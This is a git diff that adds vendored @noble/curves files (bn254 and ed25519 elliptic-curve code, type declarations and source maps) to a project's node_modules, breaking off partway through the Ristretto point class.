a/node_modules/@noble/curves/bls12-381.js.map b/node_modules/@noble/curves/bls12-381.js.map new file mode 100644 index 000000000000..fbed95ae92d5 --- /dev/null +++ b/node_modules/@noble/curves/bls12-381.js.map @@ -0,0 +1 @@ +{"version":3,"file":"bls12-381.js","sourceRoot":"","sources":["src/bls12-381.ts"],"names":[],"mappings":";AAAA,sEAAsE;;;AAEtE,uFAAuF;AACvF,gDAAgD;AAChD,kGAAkG;AAClG,+EAA+E;AAC/E,EAAE;AACF,mGAAmG;AACnG,+EAA+E;AAC/E,+FAA+F;AAC/F,2FAA2F;AAC3F,wEAAwE;AACxE,EAAE;AACF,cAAc;AACd,gDAAgD;AAChD,4BAA4B;AAC5B,2FAA2F;AAC3F,mHAAmH;AACnH,0FAA0F;AAC1F,2HAA2H;AAC3H,6CAA6C;AAC7C,EAAE;AACF,eAAe;AACf,+BAA+B;AAC/B,8BAA8B;AAC9B,0DAA0D;AAC1D,4EAA4E;AAC5E,6DAA6D;AAC7D,6DAA6D;AAC7D,iDAA8C;AAC9C,+CAAkD;AAClD,8CAAiD;AACjD,6CAA6C;AAC7C,kDAW6B;AAC7B,QAAQ;AACR,8DAKmC;AACnC,kEAAyD;AAEzD,qEAAqE;AACrE,kBAAkB;AAClB,MAAM,GAAG,GAAG,MAAM,CAAC,CAAC,CAAC,EAAE,GAAG,GAAG,MAAM,CAAC,CAAC,CAAC,EAAE,GAAG,GAAG,MAAM,CAAC,CAAC,CAAC,EAAE,GAAG,GAAG,MAAM,CAAC,CAAC,CAAC,EAAE,GAAG,GAAG,MAAM,CAAC,CAAC,CAAC,CAAC;AAC1F,kBAAkB;AAClB,MAAM,GAAG,GAAG,MAAM,CAAC,CAAC,CAAC,EAAE,IAAI,GAAG,MAAM,CAAC,EAAE,CAAC,CAAC;AAEzC,eAAe;AACf,uBAAuB;AACvB,MAAM,MAAM,GAAG,MAAM,CACnB,oGAAoG,CACrG,CAA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AAX,mBAAW;CACZ,CAAC,CAAC"} \ No newline at end of file diff --git a/node_modules/@noble/curves/bn254.d.ts b/node_modules/@noble/curves/bn254.d.ts new file mode 100644 index 000000000000..fd7064ad2ce3 --- /dev/null +++ b/node_modules/@noble/curves/bn254.d.ts @@ -0,0 +1,8 @@ +/** + * bn254 pairing-friendly curve. + * Previously known as alt_bn_128, when it had 128-bit security. + * Recent research shown it's weaker, the naming has been adjusted to its prime bit count. + * https://github.com/zcash/zcash/issues/2502 + */ +export declare const bn254: import("./abstract/weierstrass.js").CurveFn; +//# sourceMappingURL=bn254.d.ts.map \ No newline at end of file diff --git a/node_modules/@noble/curves/bn254.d.ts.map b/node_modules/@noble/curves/bn254.d.ts.map new file mode 100644 index 000000000000..572db18ab6b3 --- /dev/null +++ b/node_modules/@noble/curves/bn254.d.ts.map @@ -0,0 +1 @@ +{"version":3,"file":"bn254.d.ts","sourceRoot":"","sources":["src/bn254.ts"],"names":[],"mappings":"AAKA;;;;;GAKG;AACH,eAAO,MAAM,KAAK,6CAShB,CAAC"} \ No newline at end of file diff --git a/node_modules/@noble/curves/bn254.js b/node_modules/@noble/curves/bn254.js new file mode 100644 index 000000000000..8b1c4b741ebb --- /dev/null +++ b/node_modules/@noble/curves/bn254.js @@ -0,0 +1,25 @@ +"use strict"; +Object.defineProperty(exports, "__esModule", { value: true }); +exports.bn254 = void 0; +/*! noble-curves - MIT License (c) 2022 Paul Miller (paulmillr.com) */ +const sha256_1 = require("@noble/hashes/sha256"); +const weierstrass_js_1 = require("./abstract/weierstrass.js"); +const _shortw_utils_js_1 = require("./_shortw_utils.js"); +const modular_js_1 = require("./abstract/modular.js"); +/** + * bn254 pairing-friendly curve. + * Previously known as alt_bn_128, when it had 128-bit security. + * Recent research shown it's weaker, the naming has been adjusted to its prime bit count. + * https://github.com/zcash/zcash/issues/2502 + */ +exports.bn254 = (0, weierstrass_js_1.weierstrass)({ + a: BigInt(0), + b: BigInt(3), + Fp: (0, modular_js_1.Field)(BigInt('0x30644e72e131a029b85045b68181585d97816a916871ca8d3c208c16d87cfd47')), + n: BigInt('0x30644e72e131a029b85045b68181585d2833e84879b9709143e1f593f0000001'), + Gx: BigInt(1), + Gy: BigInt(2), + h: BigInt(1), + ...(0, _shortw_utils_js_1.getHash)(sha256_1.sha256), +}); +//# sourceMappingURL=bn254.js.map \ No newline at end of file diff --git a/node_modules/@noble/curves/bn254.js.map b/node_modules/@noble/curves/bn254.js.map new file mode 100644 index 000000000000..a54fb5863c29 --- /dev/null +++ b/node_modules/@noble/curves/bn254.js.map @@ -0,0 +1 @@ +{"version":3,"file":"bn254.js","sourceRoot":"","sources":["src/bn254.ts"],"names":[],"mappings":";;;AAAA,sEAAsE;AACtE,iDAA8C;AAC9C,8DAAwD;AACxD,yDAA6C;AAC7C,sDAA8C;AAC9C;;;;;GAKG;AACU,QAAA,KAAK,GAAG,IAAA,4BAAW,EAAC;IAC/B,CAAC,EAAE,MAAM,CAAC,CAAC,CAAC;IACZ,CAAC,EAAE,MAAM,CAAC,CAAC,CAAC;IACZ,EAAE,EAAE,IAAA,kBAAK,EAAC,MAAM,CAAC,oEAAoE,CAAC,CAAC;IACvF,CAAC,EAAE,MAAM,CAAC,oEAAoE,CAAC;IAC/E,EAAE,EAAE,MAAM,CAAC,CAAC,CAAC;IACb,EAAE,EAAE,MAAM,CAAC,CAAC,CAAC;IACb,CAAC,EAAE,MAAM,CAAC,CAAC,CAAC;IACZ,GAAG,IAAA,0BAAO,EAAC,eAAM,CAAC;CACnB,CAAC,CAAC"} \ No newline at end of file diff --git a/node_modules/@noble/curves/ed25519.d.ts b/node_modules/@noble/curves/ed25519.d.ts new file mode 100644 index 000000000000..08b1e89c0c62 --- /dev/null +++ b/node_modules/@noble/curves/ed25519.d.ts @@ -0,0 +1,76 @@ +import { ExtPointType } from './abstract/edwards.js'; +import { Hex } from './abstract/utils.js'; +import { htfBasicOpts } from './abstract/hash-to-curve.js'; +import { AffinePoint } from './abstract/curve.js'; +export declare const ED25519_TORSION_SUBGROUP: string[]; +export declare const ed25519: import("./abstract/edwards.js").CurveFn; +export declare const ed25519ctx: import("./abstract/edwards.js").CurveFn; +export declare const ed25519ph: import("./abstract/edwards.js").CurveFn; +export declare const x25519: import("./abstract/montgomery.js").CurveFn; +/** + * Converts ed25519 public key to x25519 public key. Uses formula: + * * `(u, v) = ((1+y)/(1-y), sqrt(-486664)*u/x)` + * * `(x, y) = (sqrt(-486664)*u/v, (u-1)/(u+1))` + * @example + * const someonesPub = ed25519.getPublicKey(ed25519.utils.randomPrivateKey()); + * const aPriv = x25519.utils.randomPrivateKey(); + * x25519.getSharedSecret(aPriv, edwardsToMontgomeryPub(someonesPub)) + */ +export declare function edwardsToMontgomeryPub(edwardsPub: Hex): Uint8Array; +export declare const edwardsToMontgomery: typeof edwardsToMontgomeryPub; +/** + * Converts ed25519 secret key to x25519 secret key. + * @example + * const someonesPub = x25519.getPublicKey(x25519.utils.randomPrivateKey()); + * const aPriv = ed25519.utils.randomPrivateKey(); + * x25519.getSharedSecret(edwardsToMontgomeryPriv(aPriv), someonesPub) + */ +export declare function edwardsToMontgomeryPriv(edwardsPriv: Uint8Array): Uint8Array; +export declare const hashToCurve: (msg: Uint8Array, options?: htfBasicOpts | undefined) => import("./abstract/hash-to-curve.js").H2CPoint; +export declare const encodeToCurve: (msg: Uint8Array, options?: htfBasicOpts | undefined) => import("./abstract/hash-to-curve.js").H2CPoint; +type ExtendedPoint = ExtPointType; +/** + * Each ed25519/ExtendedPoint has 8 different equivalent points. This can be + * a source of bugs for protocols like ring signatures. Ristretto was created to solve this. + * Ristretto point operates in X:Y:Z:T extended coordinates like ExtendedPoint, + * but it should work in its own namespace: do not combine those two. + * https://datatracker.ietf.org/doc/html/draft-irtf-cfrg-ristretto255-decaf448 + */ +declare class RistPoint { + private readonly ep; + static BASE: RistPoint; + static ZERO: RistPoint; + constructor(ep: ExtendedPoint); + static fromAffine(ap: AffinePoint): RistPoint; + /** + * Takes uniform output of 64-byte hash function like sha512 and converts it to `RistrettoPoint`. + * The hash-to-group operation applies Elligator twice and adds the results. + * **Note:** this is one-way map, there is no conversion from point to hash. + * https://ristretto.group/formulas/elligator.html + * @param hex 64-byte output of a hash function + */ + static hashToCurve(hex: Hex): RistPoint; + /** + * Converts ristretto-encoded string to ristretto point. + * https://ristretto.group/formulas/decoding.html + * @param hex Ristretto-encoded 32 bytes. Not every 32-byte string is valid ristretto encoding + */ + static fromHex(hex: Hex): RistPoint; + /** + * Encodes ristretto point to Uint8Array. + * https://ristretto.group/formulas/encoding.html + */ + toRawBytes(): Uint8Array; + toHex(): string; + toString(): string; + equals(other: RistPoint): boolean; + add(other: RistPoint): RistPoint; + subtract(other: RistPoint): RistPoint; + multiply(scalar: bigint): RistPoint; + multiplyUnsafe(scalar: bigint): RistPoint; +} +export declare const RistrettoPoint: typeof RistPoint; +export declare const hashToRistretto255: (msg: Uint8Array, options: htfBasicOpts) => RistPoint; +export declare const hash_to_ristretto255: (msg: Uint8Array, options: htfBasicOpts) => RistPoint; +export {}; +//# sourceMappingURL=ed25519.d.ts.map \ No newline at end of file diff --git a/node_modules/@noble/curves/ed25519.d.ts.map b/node_modules/@noble/curves/ed25519.d.ts.map new file mode 100644 index 000000000000..973b4620cc5b --- /dev/null +++ b/node_modules/@noble/curves/ed25519.d.ts.map @@ -0,0 +1 @@ +{"version":3,"file":"ed25519.d.ts","sourceRoot":"","sources":["src/ed25519.ts"],"names":[],"mappings":"AAGA,OAAO,EAAE,YAAY,EAAkB,MAAM,uBAAuB,CAAC;AAGrE,OAAO,EAKL,GAAG,EAEJ,MAAM,qBAAqB,CAAC;AAC7B,OAAO,EAAgB,YAAY,EAAsB,MAAM,6BAA6B,CAAC;AAC7F,OAAO,EAAE,WAAW,EAAE,MAAM,qBAAqB,CAAC;AAwElD,eAAO,MAAM,wBAAwB,UASpC,CAAC;AA6BF,eAAO,MAAM,OAAO,yCAAkD,CAAC;AAYvE,eAAO,MAAM,UAAU,yCAGrB,CAAC;AACH,eAAO,MAAM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,CAAC;AACF,eAAO,MAAM,oBAAoB,QAPO,UAAU,WAAW,YAAY,cAOnB,CAAC"} \ No newline at end of file diff --git a/node_modules/@noble/curves/ed25519.js b/node_modules/@noble/curves/ed25519.js new file mode 100644 index 000000000000..78554de03fd6 --- /dev/null +++ b/node_modules/@noble/curves/ed25519.js @@ -0,0 +1,439 @@ +"use strict"; +Object.defineProperty(exports, "__esModule", { value: true }); +exports.hash_to_ristretto255 = exports.hashToRistretto255 = exports.RistrettoPoint = exports.encodeToCurve = exports.hashToCurve = exports.edwardsToMontgomeryPriv = exports.edwardsToMontgomery = exports.edwardsToMontgomeryPub = exports.x25519 = exports.ed25519ph = exports.ed25519ctx = exports.ed25519 = exports.ED25519_TORSION_SUBGROUP = void 0; +/*! noble-curves - MIT License (c) 2022 Paul Miller (paulmillr.com) */ +const sha512_1 = require("@noble/hashes/sha512"); +const utils_1 = require("@noble/hashes/utils"); +const edwards_js_1 = require("./abstract/edwards.js"); +const montgomery_js_1 = require("./abstract/montgomery.js"); +const modular_js_1 = require("./abstract/modular.js"); +const utils_js_1 = require("./abstract/utils.js"); +const hash_to_curve_js_1 = require("./abstract/hash-to-curve.js"); +/** + * ed25519 Twisted Edwards curve with following addons: + * - X25519 ECDH + * - Ristretto cofactor elimination + * - Elligator hash-to-group / point indistinguishability + */ +const ED25519_P = BigInt('57896044618658097711785492504343953926634992332820282019728792003956564819949'); +// √(-1) aka √(a) aka 2^((p-1)/4) +const ED25519_SQRT_M1 = BigInt('19681161376707505956807079304988542015446066515923890162744021073123829784752'); +// prettier-ignore +const _0n = BigInt(0), _1n = BigInt(1), _2n = BigInt(2), _5n = BigInt(5); +// prettier-ignore +const _10n = BigInt(10), _20n = BigInt(20), _40n = BigInt(40), _80n = BigInt(80); +function ed25519_pow_2_252_3(x) { + const P = ED25519_P; + const x2 = (x * x) % P; + const b2 = (x2 * x) % P; // x^3, 11 + const b4 = ((0, modular_js_1.pow2)(b2, _2n, P) * b2) % P; // x^15, 1111 + const b5 = ((0, modular_js_1.pow2)(b4, _1n, P) * x) % P; // x^31 + const b10 = ((0, modular_js_1.pow2)(b5, _5n, P) * b5) % P; + const b20 = ((0, modular_js_1.pow2)(b10, _10n, P) * b10) % P; + const b40 = ((0, modular_js_1.pow2)(b20, _20n, P) * b20) % P; + const b80 = ((0, modular_js_1.pow2)(b40, _40n, P) * b40) % P; + const b160 = ((0, modular_js_1.pow2)(b80, _80n, P) * b80) % P; + const b240 = ((0, modular_js_1.pow2)(b160, _80n, P) * b80) % P; + const b250 = ((0, modular_js_1.pow2)(b240, _10n, P) * b10) % P; + const pow_p_5_8 = ((0, modular_js_1.pow2)(b250, _2n, P) * x) % P; + // ^ To pow to (p+3)/8, multiply it by x. + return { pow_p_5_8, b2 }; +} +function adjustScalarBytes(bytes) { + // Section 5: For X25519, in order to decode 32 random bytes as an integer scalar, + // set the three least significant bits of the first byte + bytes[0] &= 248; // 0b1111_1000 + // and the most significant bit of the last to zero, + bytes[31] &= 127; // 0b0111_1111 + // set the second most significant bit of the last byte to 1 + bytes[31] |= 64; // 0b0100_0000 + return bytes; +} +// sqrt(u/v) +function uvRatio(u, v) { + const P = ED25519_P; + const v3 = (0, modular_js_1.mod)(v * v * v, P); // v³ + const v7 = (0, modular_js_1.mod)(v3 * v3 * v, P); // v⁷ + // (p+3)/8 and (p-5)/8 + const pow = ed25519_pow_2_252_3(u * v7).pow_p_5_8; + let x = (0, modular_js_1.mod)(u * v3 * pow, P); // (uv³)(uv⁷)^(p-5)/8 + const vx2 = (0, modular_js_1.mod)(v * x * x, P); // vx² + const root1 = x; // First root candidate + const root2 = (0, modular_js_1.mod)(x * ED25519_SQRT_M1, P); // Second root candidate + const useRoot1 = vx2 === u; // If vx² = u (mod p), x is a square root + const useRoot2 = vx2 === (0, modular_js_1.mod)(-u, P); // If vx² = -u, set x <-- x * 2^((p-1)/4) + const noRoot = vx2 === (0, modular_js_1.mod)(-u * ED25519_SQRT_M1, P); // There is no valid root, vx² = -u√(-1) + if (useRoot1) + x = root1; + if (useRoot2 || noRoot) + x = root2; // We return root2 anyway, for const-time + if ((0, modular_js_1.isNegativeLE)(x, P)) + x = (0, modular_js_1.mod)(-x, P); + return { isValid: useRoot1 || useRoot2, value: x }; +} +// Just in case +exports.ED25519_TORSION_SUBGROUP = [ + '0100000000000000000000000000000000000000000000000000000000000000', + 'c7176a703d4dd84fba3c0b760d10670f2a2053fa2c39ccc64ec7fd7792ac037a', + '0000000000000000000000000000000000000000000000000000000000000080', + '26e8958fc2b227b045c3f489f2ef98f0d5dfac05d3c63339b13802886d53fc05', + 'ecffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff7f', + '26e8958fc2b227b045c3f489f2ef98f0d5dfac05d3c63339b13802886d53fc85', + '0000000000000000000000000000000000000000000000000000000000000000', + 'c7176a703d4dd84fba3c0b760d10670f2a2053fa2c39ccc64ec7fd7792ac03fa', +]; +const Fp = (0, modular_js_1.Field)(ED25519_P, undefined, true); +const ed25519Defaults = { + // Param: a + a: BigInt(-1), + // d is equal to -121665/121666 over finite field. + // Negative number is P - number, and division is invert(number, P) + d: BigInt('37095705934669439343138083508754565189542113879843219016388785533085940283555'), + // Finite field 𝔽p over which we'll do calculations; 2n**255n - 19n + Fp, + // Subgroup order: how many points curve has + // 2n**252n + 27742317777372353535851937790883648493n; + n: BigInt('7237005577332262213973186563042994240857116359379907606001950938285454250989'), + // Cofactor + h: BigInt(8), + // Base point (x, y) aka generator point + Gx: BigInt('15112221349535400772501151409588531511454012693041857206046113283949847762202'), + Gy: BigInt('46316835694926478169428394003475163141307993866256225615783033603165251855960'), + hash: sha512_1.sha512, + randomBytes: utils_1.randomBytes, + adjustScalarBytes, + // dom2 + // Ratio of u to v. Allows us to combine inversion and square root. Uses algo from RFC8032 5.1.3. + // Constant-time, u/√v + uvRatio, +}; +exports.ed25519 = (0, edwards_js_1.twistedEdwards)(ed25519Defaults); +function ed25519_domain(data, ctx, phflag) { + if (ctx.length > 255) + throw new Error('Context is too big'); + return (0, utils_1.concatBytes)((0, utils_1.utf8ToBytes)('SigEd25519 no Ed25519 collisions'), new Uint8Array([phflag ? 1 : 0, ctx.length]), ctx, data); +} +exports.ed25519ctx = (0, edwards_js_1.twistedEdwards)({ + ...ed25519Defaults, + domain: ed25519_domain, +}); +exports.ed25519ph = (0, edwards_js_1.twistedEdwards)({ + ...ed25519Defaults, + domain: ed25519_domain, + prehash: sha512_1.sha512, +}); +exports.x25519 = (() => (0, montgomery_js_1.montgomery)({ + P: ED25519_P, + a: BigInt(486662), + montgomeryBits: 255, + nByteLength: 32, + Gu: BigInt(9), + powPminus2: (x) => { + const P = ED25519_P; + // x^(p-2) aka x^(2^255-21) + const { pow_p_5_8, b2 } = ed25519_pow_2_252_3(x); + return (0, modular_js_1.mod)((0, modular_js_1.pow2)(pow_p_5_8, BigInt(3), P) * b2, P); + }, + adjustScalarBytes, + randomBytes: utils_1.randomBytes, +}))(); +/** + * Converts ed25519 public key to x25519 public key. Uses formula: + * * `(u, v) = ((1+y)/(1-y), sqrt(-486664)*u/x)` + * * `(x, y) = (sqrt(-486664)*u/v, (u-1)/(u+1))` + * @example + * const someonesPub = ed25519.getPublicKey(ed25519.utils.randomPrivateKey()); + * const aPriv = x25519.utils.randomPrivateKey(); + * x25519.getSharedSecret(aPriv, edwardsToMontgomeryPub(someonesPub)) + */ +function edwardsToMontgomeryPub(edwardsPub) { + const { y } = exports.ed25519.ExtendedPoint.fromHex(edwardsPub); + const _1n = BigInt(1); + return Fp.toBytes(Fp.create((_1n + y) * Fp.inv(_1n - y))); +} +exports.edwardsToMontgomeryPub = edwardsToMontgomeryPub; +exports.edwardsToMontgomery = edwardsToMontgomeryPub; // deprecated +/** + * Converts ed25519 secret key to x25519 secret key. + * @example + * const someonesPub = x25519.getPublicKey(x25519.utils.randomPrivateKey()); + * const aPriv = ed25519.utils.randomPrivateKey(); + * x25519.getSharedSecret(edwardsToMontgomeryPriv(aPriv), someonesPub) + */ +function edwardsToMontgomeryPriv(edwardsPriv) { + const hashed = ed25519Defaults.hash(edwardsPriv.subarray(0, 32)); + return ed25519Defaults.adjustScalarBytes(hashed).subarray(0, 32); +} +exports.edwardsToMontgomeryPriv = edwardsToMontgomeryPriv; +// Hash To Curve Elligator2 Map (NOTE: different from ristretto255 elligator) +// NOTE: very important part is usage of FpSqrtEven for ELL2_C1_EDWARDS, since +// SageMath returns different root first and everything falls apart +const ELL2_C1 = (Fp.ORDER + BigInt(3)) / BigInt(8); // 1. c1 = (q + 3) / 8 # Integer arithmetic +const ELL2_C2 = Fp.pow(_2n, ELL2_C1); // 2. c2 = 2^c1 +const ELL2_C3 = Fp.sqrt(Fp.neg(Fp.ONE)); // 3. c3 = sqrt(-1) +const ELL2_C4 = (Fp.ORDER - BigInt(5)) / BigInt(8); // 4. c4 = (q - 5) / 8 # Integer arithmetic +const ELL2_J = BigInt(486662); +// prettier-ignore +function map_to_curve_elligator2_curve25519(u) { + let tv1 = Fp.sqr(u); // 1. tv1 = u^2 + tv1 = Fp.mul(tv1, _2n); // 2. tv1 = 2 * tv1 + let xd = Fp.add(tv1, Fp.ONE); // 3. xd = tv1 + 1 # Nonzero: -1 is square (mod p), tv1 is not + let x1n = Fp.neg(ELL2_J); // 4. x1n = -J # x1 = x1n / xd = -J / (1 + 2 * u^2) + let tv2 = Fp.sqr(xd); // 5. tv2 = xd^2 + let gxd = Fp.mul(tv2, xd); // 6. gxd = tv2 * xd # gxd = xd^3 + let gx1 = Fp.mul(tv1, ELL2_J); // 7. gx1 = J * tv1 # x1n + J * xd + gx1 = Fp.mul(gx1, x1n); // 8. gx1 = gx1 * x1n # x1n^2 + J * x1n * xd + gx1 = Fp.add(gx1, tv2); // 9. gx1 = gx1 + tv2 # x1n^2 + J * x1n * xd + xd^2 + gx1 = Fp.mul(gx1, x1n); // 10. gx1 = gx1 * x1n # x1n^3 + J * x1n^2 * xd + x1n * xd^2 + let tv3 = Fp.sqr(gxd); // 11. tv3 = gxd^2 + tv2 = Fp.sqr(tv3); // 12. tv2 = tv3^2 # gxd^4 + tv3 = Fp.mul(tv3, gxd); // 13. tv3 = tv3 * gxd # gxd^3 + tv3 = Fp.mul(tv3, gx1); // 14. tv3 = tv3 * gx1 # gx1 * gxd^3 + tv2 = Fp.mul(tv2, tv3); // 15. tv2 = tv2 * tv3 # gx1 * gxd^7 + let y11 = Fp.pow(tv2, ELL2_C4); // 16. y11 = tv2^c4 # (gx1 * gxd^7)^((p - 5) / 8) + y11 = Fp.mul(y11, tv3); // 17. y11 = y11 * tv3 # gx1*gxd^3*(gx1*gxd^7)^((p-5)/8) + let y12 = Fp.mul(y11, ELL2_C3); // 18. y12 = y11 * c3 + tv2 = Fp.sqr(y11); // 19. tv2 = y11^2 + tv2 = Fp.mul(tv2, gxd); // 20. tv2 = tv2 * gxd + let e1 = Fp.eql(tv2, gx1); // 21. e1 = tv2 == gx1 + let y1 = Fp.cmov(y12, y11, e1); // 22. y1 = CMOV(y12, y11, e1) # If g(x1) is square, this is its sqrt + let x2n = Fp.mul(x1n, tv1); // 23. x2n = x1n * tv1 # x2 = x2n / xd = 2 * u^2 * x1n / xd + let y21 = Fp.mul(y11, u); // 24. y21 = y11 * u + y21 = Fp.mul(y21, ELL2_C2); // 25. y21 = y21 * c2 + let y22 = Fp.mul(y21, ELL2_C3); // 26. y22 = y21 * c3 + let gx2 = Fp.mul(gx1, tv1); // 27. gx2 = gx1 * tv1 # g(x2) = gx2 / gxd = 2 * u^2 * g(x1) + tv2 = Fp.sqr(y21); // 28. tv2 = y21^2 + tv2 = Fp.mul(tv2, gxd); // 29. tv2 = tv2 * gxd + let e2 = Fp.eql(tv2, gx2); // 30. e2 = tv2 == gx2 + let y2 = Fp.cmov(y22, y21, e2); // 31. y2 = CMOV(y22, y21, e2) # If g(x2) is square, this is its sqrt + tv2 = Fp.sqr(y1); // 32. tv2 = y1^2 + tv2 = Fp.mul(tv2, gxd); // 33. tv2 = tv2 * gxd + let e3 = Fp.eql(tv2, gx1); // 34. e3 = tv2 == gx1 + let xn = Fp.cmov(x2n, x1n, e3); // 35. xn = CMOV(x2n, x1n, e3) # If e3, x = x1, else x = x2 + let y = Fp.cmov(y2, y1, e3); // 36. y = CMOV(y2, y1, e3) # If e3, y = y1, else y = y2 + let e4 = Fp.isOdd(y); // 37. e4 = sgn0(y) == 1 # Fix sign of y + y = Fp.cmov(y, Fp.neg(y), e3 !== e4); // 38. y = CMOV(y, -y, e3 XOR e4) + return { xMn: xn, xMd: xd, yMn: y, yMd: _1n }; // 39. return (xn, xd, y, 1) +} +const ELL2_C1_EDWARDS = (0, modular_js_1.FpSqrtEven)(Fp, Fp.neg(BigInt(486664))); // sgn0(c1) MUST equal 0 +function map_to_curve_elligator2_edwards25519(u) { + const { xMn, xMd, yMn, yMd } = map_to_curve_elligator2_curve25519(u); // 1. (xMn, xMd, yMn, yMd) = + // map_to_curve_elligator2_curve25519(u) + let xn = Fp.mul(xMn, yMd); // 2. xn = xMn * yMd + xn = Fp.mul(xn, ELL2_C1_EDWARDS); // 3. xn = xn * c1 + let xd = Fp.mul(xMd, yMn); // 4. xd = xMd * yMn # xn / xd = c1 * xM / yM + let yn = Fp.sub(xMn, xMd); // 5. yn = xMn - xMd + let yd = Fp.add(xMn, xMd); // 6. yd = xMn + xMd # (n / d - 1) / (n / d + 1) = (n - d) / (n + d) + let tv1 = Fp.mul(xd, yd); // 7. tv1 = xd * yd + let e = Fp.eql(tv1, Fp.ZERO); // 8. e = tv1 == 0 + xn = Fp.cmov(xn, Fp.ZERO, e); // 9. xn = CMOV(xn, 0, e) + xd = Fp.cmov(xd, Fp.ONE, e); // 10. xd = CMOV(xd, 1, e) + yn = Fp.cmov(yn, Fp.ONE, e); // 11. yn = CMOV(yn, 1, e) + yd = Fp.cmov(yd, Fp.ONE, e); // 12. yd = CMOV(yd, 1, e) + const inv = Fp.invertBatch([xd, yd]); // batch division + return { x: Fp.mul(xn, inv[0]), y: Fp.mul(yn, inv[1]) }; // 13. return (xn, xd, yn, yd) +} +const htf = /* @__PURE__ */ (() => (0, hash_to_curve_js_1.createHasher)(exports.ed25519.ExtendedPoint, (scalars) => map_to_curve_elligator2_edwards25519(scalars[0]), { + DST: 'edwards25519_XMD:SHA-512_ELL2_RO_', + encodeDST: 'edwards25519_XMD:SHA-512_ELL2_NU_', + p: Fp.ORDER, + m: 1, + k: 128, + expand: 'xmd', + hash: sha512_1.sha512, +}))(); +exports.hashToCurve = (() => htf.hashToCurve)(); +exports.encodeToCurve = (() => htf.encodeToCurve)(); +function assertRstPoint(other) { + if (!(other instanceof RistPoint)) + throw new Error('RistrettoPoint expected'); +} +// √(-1) aka √(a) aka 2^((p-1)/4) +const SQRT_M1 = ED25519_SQRT_M1; +// √(ad - 1) +const SQRT_AD_MINUS_ONE = BigInt('25063068953384623474111414158702152701244531502492656460079210482610430750235'); +// 1 / √(a-d) +const INVSQRT_A_MINUS_D = BigInt('54469307008909316920995813868745141605393597292927456921205312896311721017578'); +// 1-d² +const ONE_MINUS_D_SQ = BigInt('1159843021668779879193775521855586647937357759715417654439879720876111806838'); +// (d-1)² +const D_MINUS_ONE_SQ = BigInt('40440834346308536858101042469323190826248399146238708352240133220865137265952'); +// Calculates 1/√(number) +const invertSqrt = (number) => uvRatio(_1n, number); +const MAX_255B = BigInt('0x7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'); +const bytes255ToNumberLE = (bytes) => exports.ed25519.CURVE.Fp.create((0, utils_js_1.bytesToNumberLE)(bytes) & MAX_255B); +// Computes Elligator map for Ristretto +// https://ristretto.group/formulas/elligator.html +function calcElligatorRistrettoMap(r0) { + const { d } = exports.ed25519.CURVE; + const P = exports.ed25519.CURVE.Fp.ORDER; + const mod = exports.ed25519.CURVE.Fp.create; + const r = mod(SQRT_M1 * r0 * r0); // 1 + const Ns = mod((r + _1n) * ONE_MINUS_D_SQ); // 2 + let c = BigInt(-1); // 3 + const D = mod((c - d * r) * mod(r + d)); // 4 + let { isValid: Ns_D_is_sq, value: s } = uvRatio(Ns, D); // 5 + let s_ = mod(s * r0); // 6 + if (!(0, modular_js_1.isNegativeLE)(s_, P)) + s_ = mod(-s_); + if (!Ns_D_is_sq) + s = s_; // 7 + if (!Ns_D_is_sq) + c = r; // 8 + const Nt = mod(c * (r - _1n) * D_MINUS_ONE_SQ - D); // 9 + const s2 = s * s; + const W0 = mod((s + s) * D); // 10 + const W1 = mod(Nt * SQRT_AD_MINUS_ONE); // 11 + const W2 = mod(_1n - s2); // 12 + const W3 = mod(_1n + s2); // 13 + return new exports.ed25519.ExtendedPoint(mod(W0 * W3), mod(W2 * W1), mod(W1 * W3), mod(W0 * W2)); +} +/** + * Each ed25519/ExtendedPoint has 8 different equivalent points. This can be + * a source of bugs for protocols like ring signatures. Ristretto was created to solve this. + * Ristretto point operates in X:Y:Z:T extended coordinates like ExtendedPoint, + * but it should work in its own namespace: do not combine those two. + * https://datatracker.ietf.org/doc/html/draft-irtf-cfrg-ristretto255-decaf448 + */ +class RistPoint { + // Private property to discourage combining ExtendedPoint + RistrettoPoint + // Always use Ristretto encoding/decoding instead. + constructor(ep) { + this.ep = ep; + } + static fromAffine(ap) { + return new RistPoint(exports.ed25519.ExtendedPoint.fromAffine(ap)); + } + /** + * Takes uniform output of 64-byte hash function like sha512 and converts it to `RistrettoPoint`. + * The hash-to-group operation applies Elligator twice and adds the results. + * **Note:** this is one-way map, there is no conversion from point to hash. + * https://ristretto.group/formulas/elligator.html + * @param hex 64-byte output of a hash function + */ + static hashToCurve(hex) { + hex = (0, utils_js_1.ensureBytes)('ristrettoHash', hex, 64); + const r1 = bytes255ToNumberLE(hex.slice(0, 32)); + const R1 = calcElligatorRistrettoMap(r1); + const r2 = bytes255ToNumberLE(hex.slice(32, 64)); + const R2 = calcElligatorRistrettoMap(r2); + return new RistPoint(R1.add(R2)); + } + /** + * Converts ristretto-encoded string to ristretto point. + * https://ristretto.group/formulas/decoding.html + * @param hex Ristretto-encoded 32 bytes. Not every 32-byte string is valid ristretto encoding + */ + static fromHex(hex) { + hex = (0, utils_js_1.ensureBytes)('ristrettoHex', hex, 32); + const { a, d } = exports.ed25519.CURVE; + const P = exports.ed25519.CURVE.Fp.ORDER; + const mod = exports.ed25519.CURVE.Fp.create; + const emsg = 'RistrettoPoint.fromHex: the hex is not valid encoding of RistrettoPoint'; + const s = bytes255ToNumberLE(hex); + // 1. Check that s_bytes is the canonical encoding of a field element, or else abort. + // 3. Check that s is non-negative, or else abort + if (!(0, utils_js_1.equalBytes)((0, utils_js_1.numberToBytesLE)(s, 32), hex) || (0, modular_js_1.isNegativeLE)(s, P)) + throw new Error(emsg); + const s2 = mod(s * s); + const u1 = mod(_1n + a * s2); // 4 (a is -1) + const u2 = mod(_1n - a * s2); // 5 + const u1_2 = mod(u1 * u1); + const u2_2 = mod(u2 * u2); + const v = mod(a * d * u1_2 - u2_2); // 6 + const { isValid, value: I } = invertSqrt(mod(v * u2_2)); // 7 + const Dx = mod(I * u2); // 8 + const Dy = mod(I * Dx * v); // 9 + let x = mod((s + s) * Dx); // 10 + if ((0, modular_js_1.isNegativeLE)(x, P)) + x = mod(-x); // 10 + const y = mod(u1 * Dy); // 11 + const t = mod(x * y); // 12 + if (!isValid || (0, modular_js_1.isNegativeLE)(t, P) || y === _0n) + throw new Error(emsg); + return new RistPoint(new exports.ed25519.ExtendedPoint(x, y, _1n, t)); + } + /** + * Encodes ristretto point to Uint8Array. + * https://ristretto.group/formulas/encoding.html + */ + 